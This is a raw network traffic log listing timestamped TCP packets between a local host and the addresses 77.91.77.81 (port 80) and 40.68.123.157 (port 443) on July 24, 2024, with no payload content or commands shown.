Jul 24, 2024 02:39:13.407892942 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.407898903 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.407926083 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.407958984 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.407962084 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.407991886 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.408006907 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.408025980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.408056021 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.408057928 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.408071995 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.408087969 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.408099890 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.408099890 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.408103943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.408119917 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.408135891 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.408152103 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.408152103 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.408155918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.408168077 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.408171892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.408205986 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.408205986 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.408217907 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.408632994 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.408664942 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.408680916 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.408696890 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.408700943 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.408711910 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.408729076 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.408742905 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.408757925 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.408757925 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.408757925 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.408759117 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.408776045 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.408791065 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.408791065 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.408791065 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.408807993 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.408808947 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.408822060 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.408823967 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.408838987 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.408842087 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.408842087 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.408855915 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.408866882 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.408870935 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.408886909 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.408901930 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.408917904 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.408931017 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.408931017 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.408932924 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.408948898 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.408960104 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.408960104 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.408997059 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.408997059 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.409560919 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.409584999 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.409600973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.409615993 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.409631968 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.409638882 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.409648895 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.409662962 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.409662962 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.409663916 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.409681082 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.409693003 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.409693003 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.409696102 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.409708977 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.409712076 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.409723043 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.409728050 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.409738064 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.409743071 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.409759045 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.409775972 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.409786940 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.409786940 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.409838915 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.410001993 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.471589088 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.471631050 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.471689939 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.471689939 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.471726894 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.471760988 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.471798897 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.471798897 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.471816063 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.471848965 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.471875906 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.471875906 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.471885920 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.471920013 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.471951962 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.471951962 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.471954107 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.471986055 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.472019911 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.472031116 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.472053051 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.472106934 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.472110033 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.472136974 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.472171068 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.472187996 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.472203970 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.472235918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.472269058 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.472270012 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.472302914 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.472336054 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.472341061 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.472387075 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.472420931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.472445965 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.472455978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.472517967 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.472522974 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.472558022 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.472579002 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.472593069 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.472677946 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.472690105 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.472712040 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.472743988 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.472775936 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.472800970 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.472811937 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.472846031 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.472877026 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.472877026 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.472877979 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.472913027 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.472945929 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.472955942 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.472978115 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.472990990 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.473015070 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.473042965 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.473052979 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.473088980 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.473221064 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.473253965 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.473287106 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.473301888 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.473319054 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.473351002 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.473375082 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.473386049 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.473418951 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.473423004 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.473453045 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.473485947 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.473519087 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.473540068 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.473552942 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.473586082 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.473613024 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.473613024 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.473619938 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.473651886 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.473676920 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.473685026 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.473717928 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.473751068 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.473756075 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.473756075 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.473783970 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.473828077 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.473848104 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.490734100 CEST	49732	443	192.168.2.4	40.68.123.157
Jul 24, 2024 02:39:13.490793943 CEST	443	49732	40.68.123.157	192.168.2.4
Jul 24, 2024 02:39:13.491022110 CEST	49732	443	192.168.2.4	40.68.123.157
Jul 24, 2024 02:39:13.492376089 CEST	49732	443	192.168.2.4	40.68.123.157
Jul 24, 2024 02:39:13.492413998 CEST	443	49732	40.68.123.157	192.168.2.4
Jul 24, 2024 02:39:13.495723963 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.495768070 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.495803118 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.495805025 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.495836973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.495841026 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.495870113 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.495927095 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.495959997 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.495994091 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.496006012 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.496006966 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.496006966 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.496006966 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.496026993 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.496078968 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.496089935 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.496112108 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.496139050 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.496139050 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.496145010 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.496176958 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.496177912 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.496222019 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.496258974 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.496278048 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.496293068 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.496325016 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.496351957 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.496351957 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.496386051 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.496418953 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.496452093 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.496467113 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.496510983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.496512890 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.496512890 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.496551991 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.496586084 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.496603966 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.496619940 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.496653080 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.496664047 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.496685982 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.496712923 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.496712923 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.496718884 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.496752024 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.496769905 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.496804953 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.496823072 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.496843100 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.496876001 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.496907949 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.496907949 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.496907949 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.496942043 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.496974945 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.497009039 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.497040033 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.497040987 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.497040987 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.497073889 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.497107983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.497126102 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.497140884 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.497174978 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.497174978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.497208118 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.497241020 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.497272968 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.497273922 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.497306108 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.497337103 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.497350931 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.497350931 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.497383118 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.497416973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.497426987 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.497450113 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.497483015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.497503042 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.497515917 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.497551918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.497585058 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.497608900 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.497608900 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.497617960 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.497651100 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.497684956 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.497718096 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.497749090 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.497749090 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.497750044 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.497785091 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.497839928 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.498060942 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.562808990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.562858105 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.562892914 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.562953949 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.562988997 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.562988997 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.563007116 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.563040018 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.563072920 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.563072920 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.563072920 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.563110113 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.563143015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.563146114 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.563174963 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.563209057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.563210011 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.563241005 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.563277006 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.563278913 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.563302994 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.563314915 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.563347101 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.563379049 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.563380003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.563415051 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.563419104 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.563443899 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.563452005 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.563483953 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.563517094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.563525915 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.563549995 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.563570023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.563601971 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.563636065 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.563668966 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.563694954 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.563694954 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.563703060 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.563709021 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.563735962 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.563769102 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.563801050 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.563802004 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.563832998 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.563862085 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.563865900 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.563865900 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:13.563894987 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.563926935 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:13.563946962 CEST	49731	80	192.168.2.4	77.91.77.81
